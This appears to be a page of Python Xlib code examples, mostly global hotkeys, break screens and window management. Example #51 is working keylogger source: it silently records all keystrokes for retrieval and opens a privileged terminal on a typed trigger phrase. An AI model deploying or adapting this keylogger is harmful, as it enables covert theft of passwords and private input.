        for monitor in range(no_of_monitors):
            monitor_gemoetry = screen.get_monitor_geometry(monitor)
            x = monitor_gemoetry.x
            y = monitor_gemoetry.y

            builder = Gtk.Builder()
            builder.add_from_file(BREAK_SCREEN_GLADE)
            builder.connect_signals(self)

            window = builder.get_object("window_main")
            lbl_message = builder.get_object("lbl_message")
            lbl_count = builder.get_object("lbl_count")
            lbl_widget = builder.get_object("lbl_widget")
            img_break = builder.get_object("img_break")
            box_buttons = builder.get_object("box_buttons")
            toolbar = builder.get_object("toolbar")

            for tray_action in tray_actions:
                toolbar_button = None
                if tray_action.system_icon:
                    toolbar_button = Gtk.ToolButton.new_from_stock(
                        tray_action.get_icon())
                else:
                    toolbar_button = Gtk.ToolButton.new(
                        tray_action.get_icon(), tray_action.name)
                tray_action.add_toolbar_button(toolbar_button)
                toolbar_button.connect(
                    "clicked",
                    lambda button, action: self.__tray_action(button, action),
                    tray_action)
                toolbar_button.set_tooltip_text(_(tray_action.name))
                toolbar.add(toolbar_button)
                toolbar_button.show()

            # Add the buttons
            if self.enable_postpone:
                # Add postpone button
                btn_postpone = Gtk.Button(_('Postpone'))
                btn_postpone.get_style_context().add_class('btn_postpone')
                btn_postpone.connect('clicked', self.on_postpone_clicked)
                btn_postpone.set_visible(True)
                box_buttons.pack_start(btn_postpone, True, True, 0)

            if not self.strict_break:
                # Add the skip button
                btn_skip = Gtk.Button(_('Skip'))
                btn_skip.get_style_context().add_class('btn_skip')
                btn_skip.connect('clicked', self.on_skip_clicked)
                btn_skip.set_visible(True)
                box_buttons.pack_start(btn_skip, True, True, 0)

            # Set values
            if image_path:
                img_break.set_from_file(image_path)
            lbl_message.set_label(message)
            lbl_widget.set_markup(widget)

            self.windows.append(window)
            self.count_labels.append(lbl_count)

            # Set visual to apply css theme. It should be called before show method.
            window.set_visual(window.get_screen().get_rgba_visual())
            if self.context['desktop'] == 'kde':
                # Fix flickering screen in KDE by setting opacity to 1
                window.set_opacity(0.9)

            # In Unity, move the window before present
            window.move(x, y)
            window.resize(monitor_gemoetry.width, monitor_gemoetry.height)
            window.stick()
            window.set_keep_above(True)
            window.present()
            # In other desktop environments, move the window after present
            window.move(x, y)
            window.resize(monitor_gemoetry.width, monitor_gemoetry.height)
            logging.info("Moved break screen to Display[%d, %d]", x, y)
            window.fullscreen()

    def __update_count_down(self, count):
        """
        Update the countdown on all break screens.
        """
        for label in self.count_labels:
            label.set_text(count)

    def __lock_keyboard(self):
        """
        Lock the keyboard to prevent the user from using keyboard shortcuts
        """
        logging.info("Lock the keyboard")
        self.lock_keyboard = True

        # Grab the keyboard
        root = self.display.screen().root
        root.change_attributes(event_mask=X.KeyPressMask | X.KeyReleaseMask)
        root.grab_keyboard(True, X.GrabModeAsync, X.GrabModeAsync,
                           X.CurrentTime)

        # Consume keyboard events
        while self.lock_keyboard:
            if self.display.pending_events() > 0:
                # Avoid waiting for next event by checking pending events
                event = self.display.next_event()
                if self.enable_shortcut and event.type == X.KeyPress:
                    if event.detail == self.keycode_shortcut_skip and not self.strict_break:
                        self.skip_break()
                        break
                    elif self.enable_postpone and event.detail == self.keycode_shortcut_postpone:
                        self.postpone_break()
                        break
            else:
                # Reduce the CPU usage by sleeping for a second
                time.sleep(1)

    def __release_keyboard(self):
        """
        Release the locked keyboard.
        """
        logging.info("Unlock the keyboard")
        self.lock_keyboard = False
        self.display.ungrab_keyboard(X.CurrentTime)
        self.display.flush()

    def __destroy_all_screens(self):
        """
        Close all the break screens.
        """
        for win in self.windows:
            win.destroy()
        del self.windows[:]
        del self.count_labels[:]
Example #44
0
class GlobalKeyBinding(GObject.GObject, threading.Thread):
    __gsignals__ = {
        'activate': (GObject.SignalFlags.RUN_LAST, None, ()),
    }

    def __init__(self):
        GObject.GObject.__init__(self)
        threading.Thread.__init__(self)
        self.setDaemon(True)

        self.keymap = capi.get_widget(gdk.gdk_keymap_get_default())
        self.display = Display()
        self.screen = self.display.screen()
        self.window = self.screen.root
        self.ignored_masks = self.get_mask_combinations(X.LockMask | X.Mod2Mask
                                                        | X.Mod5Mask)
        self.map_modifiers()
        self.raw_keyval = None
        self.keytext = ""

    def is_hotkey(self, key, modifier):
        keymatch = False
        modmatch = False
        modifier = modifier & ~Gdk.ModifierType.SUPER_MASK
        modint = int(modifier)
        if self.get_keycode(key) == self.keycode:
            keymatch = True
        for ignored_mask in self.ignored_masks:
            if self.modifiers | ignored_mask == modint | ignored_mask:
                modmatch = True
                break
        return keymatch and modmatch

    def map_modifiers(self):
        gdk_modifiers = (Gdk.ModifierType.CONTROL_MASK,
                         Gdk.ModifierType.SHIFT_MASK,
                         Gdk.ModifierType.MOD1_MASK,
                         Gdk.ModifierType.MOD2_MASK,
                         Gdk.ModifierType.MOD3_MASK,
                         Gdk.ModifierType.MOD4_MASK,
                         Gdk.ModifierType.MOD5_MASK,
                         Gdk.ModifierType.SUPER_MASK,
                         Gdk.ModifierType.HYPER_MASK)
        self.known_modifiers_mask = 0
        for modifier in gdk_modifiers:
            if "Mod" not in Gtk.accelerator_name(
                    0, modifier) or "Mod4" in Gtk.accelerator_name(
                        0, modifier):
                self.known_modifiers_mask |= modifier

    def get_keycode(self, keyval):
        count = c_int()
        array = (KeymapKey * 10)()
        keys = cast(array, POINTER(KeymapKey))
        gdk.gdk_keymap_get_entries_for_keyval(hash(self.keymap), keyval,
                                              byref(keys), byref(count))
        return keys[0].keycode

    def grab(self, key):
        accelerator = key
        accelerator = accelerator.replace("<Super>", "<Mod4>")
        keyval, modifiers = Gtk.accelerator_parse(accelerator)
        if not accelerator or (not keyval and not modifiers):
            self.keycode = None
            self.modifiers = None
            return False

        self.keytext = key
        self.keycode = self.get_keycode(keyval)
        self.modifiers = int(modifiers)

        catch = error.CatchError(error.BadAccess)
        for ignored_mask in self.ignored_masks:
            mod = modifiers | ignored_mask
            result = self.window.grab_key(self.keycode,
                                          mod,
                                          True,
                                          X.GrabModeAsync,
                                          X.GrabModeSync,
                                          onerror=catch)
        self.display.flush()
        # sync has been blocking. Don't know why.
        #self.display.sync()
        if catch.get_error():
            return False
        return True

    def ungrab(self):
        if self.keycode:
            self.window.ungrab_key(self.keycode, X.AnyModifier, self.window)

    def rebind(self, key):
        self.ungrab()
        if key != "":
            self.grab(key)
        else:
            self.keytext = ""

    def set_focus_window(self, window=None):
        self.ungrab()
        if window is None:
            self.window = self.screen.root
        else:
            self.window = self.display.create_resource_object(
                "window", gdk.gdk_x11_drawable_get_xid(hash(window)))
        self.grab(self.keytext)

    def get_mask_combinations(self, mask):
        return [x for x in xrange(mask + 1) if not (x & ~mask)]

    def idle(self):
        self.emit("activate")
        return False

    def activate(self):
        GLib.idle_add(self.run)

    def run(self):
        self.running = True
        wait_for_release = False
        while self.running:
            event = self.display.next_event()
            try:
                self.current_event_time = event.time
                if event.detail == self.keycode and event.type == X.KeyPress and not wait_for_release:
                    modifiers = event.state & self.known_modifiers_mask
                    if modifiers == self.modifiers:
                        wait_for_release = True
                        self.display.allow_events(X.AsyncKeyboard, event.time)
                    else:
                        self.display.allow_events(X.ReplayKeyboard, event.time)
                elif event.detail == self.keycode and wait_for_release:
                    if event.type == X.KeyRelease:
                        wait_for_release = False
                        GLib.idle_add(self.idle)
                    self.display.allow_events(X.AsyncKeyboard, event.time)
                else:
                    self.display.allow_events(X.ReplayKeyboard, event.time)
            except AttributeError:
                continue

    def stop(self):
        self.running = False
        self.ungrab()
        self.display.close()
Example #45
0
class Environment():
    def __init__(self):
        self.display = Display()
        self.screen = self.display.screen()
        self.root = self.screen.root
        self.region = Region(x=0,
                             y=0,
                             width=self.screen.width_in_pixels,
                             height=self.screen.height_in_pixels)
        self.desktops = []
        self.windows = self.get_window_set()
        self.window_desktop_map = {}
        self.hidden_windows = set()
        self.visible_windows = set()

        for i in range(self.number_of_desktops()):
            LOGGER.debug("\n\n\nCreating Desktop %d" % (i))
            d = Desktop(i, self)
            self.desktops.append(d)
            #d.print_windows()
            d.arrange()

        self.update_desktop_map()
        self.setup_listeners()

        #self.print_hierarchy(self.root, " - ")

    def setup_listeners(self):
        self.root.change_attributes(event_mask=X.SubstructureNotifyMask
                                    | X.PropertyChangeMask)

        anchor = self.root.create_window(0, 0, 1, 1, 1, self.screen.root_depth)

        anchor.xrandr_select_input(randr.RRScreenChangeNotifyMask
                                   | randr.RRCrtcChangeNotifyMask
                                   | randr.RROutputChangeNotifyMask
                                   | randr.RROutputPropertyNotifyMask)

    def update_all_the_things(self):
        self.display = Display()
        self.screen = self.display.screen()
        self.root = self.screen.root
        self.region = Region(x=0,
                             y=0,
                             width=self.screen.width_in_pixels,
                             height=self.screen.height_in_pixels - 32)

        LOGGER.debug("NEW REGION: %s" % (self.region))

        for d in self.desktops:
            d.resize()

        self.setup_listeners()

    def print_hierarchy(self, window, indent):
        children = window.query_tree().children
        for w in children:
            LOGGER.debug(indent, window.get_wm_class())
            self.print_hierarchy(w, indent + '-')

    def interesting_properties(self):
        #_NET_WM_DESKTOP
        # root: _NET_CURRENT_DESKTOP
        LOGGER.debug("Current desktop")
        LOGGER.debug(
            self.root.get_full_property(
                self.display.intern_atom('_NET_CURRENT_DESKTOP'),
                Xatom.CARDINAL).value[0])

    def current_desktop(self):
        return self.root.get_full_property(
            self.display.intern_atom('_NET_CURRENT_DESKTOP'),
            Xatom.CARDINAL).value[0]

    def number_of_desktops(self):
        return self.root.get_full_property(
            self.display.intern_atom('_NET_NUMBER_OF_DESKTOPS'),
            Xatom.CARDINAL).value[0]

    def update_window_states(self):
        window_ids = self.get_window_set(include_hidden=True)
        for window_id in window_ids:
            if self.is_window_hidden(window_id):
                self.hidden_windows.add(window_id)
            else:
                self.visible_windows.add(window_id)

    def update_desktop_map(self):
        self.window_desktop_map = {}
        for d in self.desktops:
            for window_id in d.get_window_set(include_hidden=True):
                self.window_desktop_map[window_id] = d

    def get_window_desktop(self, window):
        if type(window) is long:
            w = self.display.create_resource_object('window', window)
        else:
            w = window

        try:
            value = w.get_full_property(
                self.display.intern_atom('_NET_WM_DESKTOP'),
                Xatom.CARDINAL).value[0]
            if value > self.number_of_desktops():
                return None
            else:
                return value

        except AttributeError:
            return None
        except Xlib.error.BadWindow:
            return None

    def get_window_states(self, window_id):
        w = self.display.create_resource_object('window', window_id)
        #return w.get_full_property(self.display.intern_atom('_NET_WM_STATE'), Xatom.ATOM).value
        try:
            states = w.get_full_property(
                self.display.get_atom('_NET_WM_STATE'), Xatom.WINDOW)
        except Xlib.error.BadWindow:
            LOGGER.warn("Bad window fetching states...")
            states = None

        if states == None:
            return []
        else:
            res = w.get_full_property(self.display.get_atom('_NET_WM_STATE'),
                                      0).value.tolist()
            return res

    def is_window_hidden(self, window_id):
        hidden_state_atom = self.display.get_atom("_NET_WM_STATE_HIDDEN")
        states = self.get_window_states(window_id)
        return hidden_state_atom in states

    def is_window_visible(self, window_id):
        return not self.is_window_hidden(window_id)

    def listen_for_events(self):
        LOGGER.debug("Listening for change events!")
        while True:
            ev = self.display.next_event()
            self.handle_event(ev)

    def handle_event(self, event):
        old_hidden = set(self.hidden_windows)
        old_visible = set(self.visible_windows)
        self.update_window_states()
        changed_ids = set()
        changed_ids.update(old_hidden.symmetric_difference(
            self.hidden_windows))
        changed_ids.update(
            old_visible.symmetric_difference(self.visible_windows))

        if len(changed_ids) > 0:
            LOGGER.debug("Changed IDs: %s" % (changed_ids))

        needs_update = False

        wm_active_window = self.display.get_atom('_NET_ACTIVE_WINDOW')
        wm_move_window = self.display.get_atom('_NET_MOVERESIZE_WINDOW')
        wm_hidden_window = self.display.get_atom('_NET_WM_STATE_HIDDEN')
        wm_state = self.display.get_atom('_NET_WM_STATE')

        try:
            window_props = event.window.get_full_property(event.atom, 0)
            window_id = int(window_props.value.tolist()[0])
            LOGGER.debug("Window ID: %s" % (window_id))
        except AttributeError:
            pass
            #LOGGER.debug("Not a window-level event")

        for window_id in changed_ids:
            desktop = self.window_desktop_map.get(window_id, None)
            LOGGER.debug("Window changed: %s on desktop: %s" %
                         (window_id, desktop))
            if desktop is not None:
                desktop.arrange()
                needs_update = True

        if event.type == X.PropertyNotify:
            LOGGER.debug("Property changed...")
            if event.atom == wm_active_window:
                LOGGER.debug("Property changed on an active window....")

        elif event.type == X.CreateNotify or event.type == X.DestroyNotify:
            needs_update = True
            window_set = self.get_window_set()

            if event.type == X.CreateNotify:
                LOGGER.debug("Handling creation!")
                new_windows = window_set.difference(self.windows)
                for window in new_windows:
                    window_resource = self.display.create_resource_object(
                        'window', window)
                    window_desktop = self.get_window_desktop(window_resource)
                    if window_desktop is not None:
                        self.desktops[window_desktop].layout.add_window(
                            window_resource)

            if event.type == X.DestroyNotify:
                LOGGER.debug("Handling destruction!")
                missing_windows = self.windows.difference(window_set)
                for window in missing_windows:
                    window_resource = self.display.create_resource_object(
                        'window', window)
                    # TODO: optimize lookup by keeping old map?
                    for desktop in self.desktops:
                        LOGGER.debug("Trying to remove from desktop %s" %
                                     (desktop))
                        desktop.layout.remove_window(window_resource)

            self.windows = window_set

            for desktop in self.desktops:
                desktop.layout.redraw()

        elif event.__class__.__name__ == randr.ScreenChangeNotify.__name__:
            LOGGER.debug('Screen change')
            self.update_all_the_things()

        else:
            #LOGGER.debug("Unhandled event: %d" % (event.type))
            pass

        if needs_update:
            self.update_desktop_map()

    def get_window_set(self, include_hidden=False, desktop_number=None):
        windows = set([
            x for x in self.root.get_full_property(
                self.display.intern_atom('_NET_CLIENT_LIST'),
                Xatom.WINDOW).value
        ])

        if desktop_number is not None:
            #LOGGER.debug("Filtering windows not on: %d" % (desktop_number))
            windows = filter(
                lambda w: self.get_window_desktop(w) == desktop_number,
                windows)

        if include_hidden is False:
            #LOGGER.debug("Filtering hidden windows...")
            windows = filter(lambda w: self.is_window_visible(w) == True,
                             windows)

        return set(windows)
Example #46
0
class X11Shorty:
    ''' X11 Variant of shortcut manager '''
    def __init__(self):
        self.display = Display()
        self.root = self.display.screen().root

        self.ignored = [0, X.LockMask, X.Mod2Mask, X.LockMask | X.Mod2Mask]

    #enddef

    def __del__(self):
        self.display.close()

    #enddef

    def _listenerLoop(self):
        self.root.xinput_select_events([(xinput.AllDevices,
                                         xinput.KeyPressMask)])
        while True:
            event = self.display.next_event()
            if event.type == X.KeyPress:
                #handle
                pass
            #endif
        #endwhile

    #enddef

    def _grabKey(self, keycode, modifiers, window):
        GrabKey(self.display.display,
                owner_events=True,
                grab_window=window,
                modifiers=modifiers,
                key=keycode,
                pointer_mode=X.GrabModeAsync,
                keyboard_mode=X.GrabModeAsync)

        return True  # TODO: error handling?

    #enddef

    def _ungrabKey(self, keycode, modifiers, window):
        UngrabKey(self.display.display,
                  grab_window=window,
                  modifiers=modifiers,
                  key=keycode)

        return True  # TODO: error handling?

    #enddef

    def registerShortcut(self, key, modifiers, callback):
        # X has a stupid system where even the numlock counts as
        # a modifier. So have to register multiple hotkeys, one for
        # each combination of modifiers we don't care about

        nativeKey = toNativeKeycode(key)
        nativeMod = toNativeModifiers(modifiers)

        for i in self.ignored:
            if not self._grabKey(nativeKey, nativeMod | i, self.root):
                return False
        #endfor

        return True

    #enddef

    def unregisterShortcut(self, key, modifiers):
        nativeKey = toNativeKeycode(key)
        nativeMod = toNativeModifiers(modifiers)

        for i in self.ignored:
            self._ungrabKey(nativeKey, nativeMod | i, self.root)
        #endfor

    #enddef


#endclass
Example #47
0
#!/usr/bin/python

import time
import subprocess
from Xlib import X
from Xlib.display import Display

display = Display(':0')
root = display.screen().root
root.grab_pointer(True,
        X.ButtonPressMask | X.ButtonReleaseMask | X.PointerMotionMask,
        X.GrabModeAsync, X.GrabModeAsync, 0, 0, X.CurrentTime)
root.grab_keyboard(True,
        X.GrabModeAsync, X.GrabModeAsync, X.CurrentTime)

subprocess.call('xset dpms force off'.split())
p = subprocess.Popen('gnome-screensaver-command -i'.split())
time.sleep(1)

while True:
    print display.next_event()
    p.terminate()
    break


Example #48
0
class HotKeyListener(gobject.GObject, threading.Thread):
    __gsignals__ = {
            'key-press': (gobject.SIGNAL_RUN_LAST, gobject.TYPE_NONE,
                          (gobject.TYPE_STRING,))
            }

    def __init__(self, keybinds):
        gobject.GObject.__init__(self)
        threading.Thread.__init__(self)
        self.display = Display()
        self.screen = self.display.screen()
        self.root = self.screen.root
        self._mod_mask = get_known_modifiers()
        self._keys = {}
        # Parse and load the keybinds:
        for act, key in keybinds.iteritems():
            km = parse_key(key)
            if km is not None:
                self._keys[km] = act

    def _grab(self):
        for keycode, _ in self._keys.keys():
            self.root.grab_key(keycode, X.AnyModifier, True,
                               X.GrabModeAsync,
                               X.GrabModeSync)

    def _ungrab(self):
        for keycode, _ in self._keys.keys():
            self.root.ungrab_key(keycode, X.AnyModifier, self.root)

    def _emit(self, key):
        gtk.gdk.threads_enter()
        self.emit('key-press', key)
        gtk.gdk.threads_leave()

    def _key_pressed_action(self, keycode, modifiers):
        modifiers &= self._mod_mask
        for km,act in self._keys.iteritems():
            if keycode == km[0] and modifiers == km[1]:
                return act

    def run(self):
        self._running = True
        self._grab()
        while self._running is True:
            # Wait for new events
            select.select([self.display], [], [], 1)
            # Pump events
            while self.display.pending_events() > 0:
                event = self.display.next_event()
                if event.type == X.KeyPress:
                    act = self._key_pressed_action(event.detail, event.state)
                    if act is not None:
                        gobject.idle_add(self._emit, act)
                        self.display.allow_events(X.AsyncKeyboard, event.time)
                    else:
                        self.display.allow_events(X.ReplayKeyboard, event.time)
        self.display.close()

    def stop(self):
        self._ungrab()
        self._running = False
Example #49
0
from Xlib.display import Display
from Xlib import X, XK

dpy = Display()

dpy.screen().root.grab_key(dpy.keysym_to_keycode(XK.string_to_keysym("F1")), X.Mod1Mask, 1,
        X.GrabModeAsync, X.GrabModeAsync)
dpy.screen().root.grab_button(1, X.Mod1Mask, 1, X.ButtonPressMask|X.ButtonReleaseMask|X.PointerMotionMask,
        X.GrabModeAsync, X.GrabModeAsync, X.NONE, X.NONE)
dpy.screen().root.grab_button(3, X.Mod1Mask, 1, X.ButtonPressMask|X.ButtonReleaseMask|X.PointerMotionMask,
        X.GrabModeAsync, X.GrabModeAsync, X.NONE, X.NONE)

start = None
while 1:
    ev = dpy.next_event()
    if ev.type == X.KeyPress and ev.child != X.NONE:
        ev.child.configure(stack_mode = X.Above)
    elif ev.type == X.ButtonPress and ev.child != X.NONE:
        attr = ev.child.get_geometry()
        start = ev
    elif ev.type == X.MotionNotify and start:
        xdiff = ev.root_x - start.root_x
        ydiff = ev.root_y - start.root_y
        start.child.configure(
            x = attr.x + (xdiff if start.detail == 1 else 0),
            y = attr.y + (ydiff if start.detail == 1 else 0),
            width = max(1, attr.width + (xdiff if start.detail == 3 else 0)),
            height = max(1, attr.height + (ydiff if start.detail == 3 else 0)))
    elif ev.type == X.ButtonRelease:
        start = None
Example #50
0
class XWindowFocusTracker:
    def __init__(self):
        self._callbacks: MutableSequence[Callback] = []
        self._disp = Display()
        self._current_window_id: Optional[XWindowId] = None
        self.NET_ACTIVE_WINDOW = self._disp.intern_atom('_NET_ACTIVE_WINDOW')
        self.NET_WM_NAME = self._disp.intern_atom('_NET_WM_NAME')
        self._screen_locked = False
        self._lock = threading.Lock()

    def register(self, callback: Callback) -> None:
        with self._lock:
            self._callbacks.append(callback)

    def run(self) -> None:
        screen_lock_tracker = ScreenLockTracker(self)
        screen_lock_tracker_thread = threading.Thread(
            target=screen_lock_tracker.run, daemon=True)
        screen_lock_tracker_thread.start()

        root = self._disp.screen().root
        root.change_attributes(event_mask=X.PropertyChangeMask)

        while True:
            self._handle_xevent(self._disp.next_event())

    def set_screen_locked(self, locked: bool) -> None:
        logging.info(f'XWindowFocusTracker.set_screen_locked(locked={locked})')
        with self._lock:
            self._screen_locked = locked
            if locked:
                window_id = -1
                window_name = 'locked'
            else:
                window_id = self._current_window_id
                window_name = self._get_window_name(window_id)
            for callback in self._callbacks:
                callback(window_id, window_name)

    def _handle_xevent(self, event: Event) -> None:
        """Handler for X events which ignores anything but focus/title change"""
        if event.type != X.PropertyNotify:
            return

        if event.atom != self.NET_ACTIVE_WINDOW:
            return

        window_id = event.window.get_full_property(self.NET_ACTIVE_WINDOW,
                                                   X.AnyPropertyType).value[0]

        with self._lock:
            if self._current_window_id == window_id:
                return
            self._current_window_id = window_id

            window_name = self._get_window_name(window_id)

            for callback in self._callbacks:
                callback(window_id, window_name)

    def _get_window_name(self, window_id: XWindowId) -> str:
        window_obj = self._disp.create_resource_object('window', window_id)
        try:
            window_name_property = window_obj.get_full_property(
                self.NET_WM_NAME, 0)
        except Xlib.error.BadWindow:
            return ''
        else:
            return window_name_property.value.decode('utf-8')
Example #51
0
class LinuxKeyLogger(threading.Thread):
    """
    This implementation of the keylogger is designed to work on linux based
    systems. WILL NOT FUNCTION ON OTHER OPERATING SYSTEMS.
    """
    def __init__(self):
        """
        Constructs the logger and its internal objects
        """
        super().__init__()
        self.display = Display()
        self.root = self.display.screen().root
        self.capturedKeys = []
        self.windowKeys = []
        self.capture = True

    def run(self):
        """
        Starts the logging process
        """
        self.log()

    def log(self):
        """
        Sets up the root window to capture the keys being typed in.
        """
        self.root.change_attributes(event_mask=X.KeyPressMask
                                    | X.KeyReleaseMask)
        self.root.grab_keyboard(0, X.GrabModeAsync, X.GrabModeAsync,
                                X.CurrentTime)

        try:
            while self.capture:
                event = self.display.next_event()
                self.handleEvent(event)
                self.display.allow_events(X.AsyncKeyboard, X.CurrentTime)
        except Exception as e:
            print(e)

    def handleEvent(self, event):
        """
        The Xlib library will produce events when a key is pressed this method
        will analyze those events and extract the pertainent information along
        with passing that information further down the line to be processed by
        the operating system.
        :param event:
        :return: None
        """
        if (event.type == X.KeyRelease):
            char = Xlib.XK.keysym_to_string(
                self.display.keycode_to_keysym(event.detail, event.state))
            if char is not None:
                self.capturedKeys.append(char)
                self.windowKeys.append(char)
            self.send_key(event.detail, event.state)
            self.phrase_check()
            # self.send_keyup(event.detail, event.state)
        elif (event.type == X.KeyPress):
            pass
            # try:
            #     self.send_keydown(event.detail, event.status)
            # except AttributeError as ae:
            #     print(ae)
            # window = self.display.get_input_focus()._data["focus"]
            # window.send_event(event,propagate=True)

    def phrase_check(self):
        """
        This method will check to see if the typed in keys correspond to any
        of the preset phrases that have associated executions.
        :return:
        """
        # will need to create a smarter way of doing this
        stop = self.checkPhrase(self.getStopPhrase())
        if (stop):
            self.capture = False
        openT = self.checkPhrase(self.getTerminalPhrase())
        if (openT):
            self.openterminal()
        # ensure window size is maintained
        maxLength = max(len(self.getStopPhrase()),
                        len(self.getTerminalPhrase()))
        if len(self.windowKeys) > maxLength:
            self.windowKeys = self.windowKeys[len(self.windowKeys) -
                                              maxLength:]

    def checkPhrase(self, phrase):
        """
        Checks whether a phrase matches the most recently
        typed in keys.
        """
        length = len(phrase)
        capLength = len(self.windowKeys)
        if (capLength >= length):
            section = self.windowKeys[capLength - length:capLength]
            lastWords = ''.join(section)
            if (lastWords.upper() == phrase):
                return True
        return False

    def send_key(self, emulated_key, state):
        """Sends a key downstream to be processed by the computer"""
        self.send_keydown(emulated_key, state)
        self.send_keyup(emulated_key, state)

    def send_keyup(self, emulated_key, state):
        """Sends an key up message downstream to be processed by the computer"""
        shift_mask = state  # Xlib.X.ShiftMask
        window = self.display.get_input_focus()._data["focus"]
        event = Xlib.protocol.event.KeyRelease(time=int(time.time()),
                                               root=self.display.screen().root,
                                               window=window,
                                               same_screen=0,
                                               child=Xlib.X.NONE,
                                               root_x=0,
                                               root_y=0,
                                               event_x=0,
                                               event_y=0,
                                               state=shift_mask,
                                               detail=emulated_key)
        window.send_event(event, propagate=True)

    def send_keydown(self, emulated_key, state):
        """Sends a key down message downstream to be processed by the computer"""
        shift_mask = state  # Xlib.X.ShiftMask
        window = self.display.get_input_focus()._data["focus"]
        event = Xlib.protocol.event.KeyPress(time=int(time.time()),
                                             root=self.root,
                                             window=window,
                                             same_screen=0,
                                             child=Xlib.X.NONE,
                                             root_x=0,
                                             root_y=0,
                                             event_x=0,
                                             event_y=0,
                                             state=shift_mask,
                                             detail=emulated_key)
        window.send_event(event, propagate=True)

    def openterminal(self):
        """
        This method will open up a terminal on a linux machine. If this application
        is running with root privileges then the terminal will also be given root
        privileges.
        :return:
        """
        subprocess.call("gnome-terminal")

    def getStopPhrase(self):
        """
        When this phrase is typed in the keylogging will stop running
        """
        return "MISCHIEF MANAGED"

    def getTerminalPhrase(self):
        """
        When this phrase is typed in a terminal will be created and this terminal
        will have the same privileges that the key logger is running as.
        """
        return "ROOT"

    def hasInfoToSend(self):
        """
        Determines whether or not there have been keys that have been captured.
        :return: True if there are captured keys otherwise False
        """
        return len(self.capturedKeys) > 0

    def getInfo(self):
        """
        Provides the caller with a string of the captured keys.  It is important
        to note that a call to this method is a mutating call.  This means that
        once the information is retrieved it is purged from this object.
        :return: A string of the captured keys
        """
        ret = ''.join(self.capturedKeys)
        self.capturedKeys = []
        return ret
Example #52
0
class GlobalKeyBinding (gobject.GObject, threading.Thread):
    __gsignals__ = {
        'activate': (gobject.SIGNAL_RUN_LAST, gobject.TYPE_NONE, ()),
        }

    def __init__ (self, dir, key):
        gobject.GObject.__init__ (self)
        threading.Thread.__init__ (self)
        self.setDaemon (True)

        self.gconf_key = dir+"/"+key

        self.gconf = gconf.client_get_default ()
        self.gconf.add_dir (dir, gconf.CLIENT_PRELOAD_NONE)
        self.gconf.notify_add (self.gconf_key, self.on_key_changed)

        self.keymap = gtk.gdk.keymap_get_default ()
        self.display = Display ()
        self.screen = self.display.screen ()
        self.root = self.screen.root

        self.map_modifiers ()

    def map_modifiers (self):
        gdk_modifiers = (gtk.gdk.CONTROL_MASK, gtk.gdk.SHIFT_MASK, gtk.gdk.MOD1_MASK,
                         gtk.gdk.MOD2_MASK, gtk.gdk.MOD3_MASK, gtk.gdk.MOD4_MASK, gtk.gdk.MOD5_MASK,
                         gtk.gdk.SUPER_MASK, gtk.gdk.HYPER_MASK)
        self.known_modifiers_mask = 0
        for modifier in gdk_modifiers:
            # Do you know how to handle unknown "Mod*" keys?
            # They are usually Locks and something like that
            if "Mod" not in gtk.accelerator_name (0, modifier):
                self.known_modifiers_mask |= modifier

    def on_key_changed (self, *args):
        self.regrab ()

    def regrab (self):
        self.ungrab ()
        self.grab ()

    def grab (self):
        accelerator = self.gconf.get_string (self.gconf_key)
        keyval, modifiers = gtk.accelerator_parse (accelerator)
        if not accelerator or (not keyval and not modifiers):
            self.keycode = None
            self.modifiers = None
            return
        self.keycode = self.keymap.get_entries_for_keyval(keyval)[0][0]
        self.modifiers = int (modifiers)
        return self.root.grab_key (self.keycode, X.AnyModifier, True, X.GrabModeAsync, X.GrabModeSync)

    def ungrab (self):
        if self.keycode:
            self.root.ungrab_key (self.keycode, X.AnyModifier, self.root)

    def idle (self):
        # Clipboard requests will hang without locking the GDK thread
        gtk.gdk.threads_enter ()
        self.emit ("activate")
        gtk.gdk.threads_leave ()
        return False

    def run (self):
        self.running = True
        wait_for_release = False
        while self.running:
            try:
              event = self.display.next_event ()
              if event.detail == self.keycode and event.type == X.KeyPress and not wait_for_release:
                  modifiers = event.state & self.known_modifiers_mask
                  if modifiers == self.modifiers:
                      wait_for_release = True
                      self.display.allow_events (X.AsyncKeyboard, event.time)
                  else:
                      self.display.allow_events (X.ReplayKeyboard, event.time)
              elif event.detail == self.keycode and wait_for_release:
                  if event.type == X.KeyRelease:
                      wait_for_release = False
                      gobject.idle_add (self.idle)
                  self.display.allow_events (X.AsyncKeyboard, event.time)
              else:
                  self.display.allow_events (X.ReplayKeyboard, event.time)
            except Exception, e:
              print e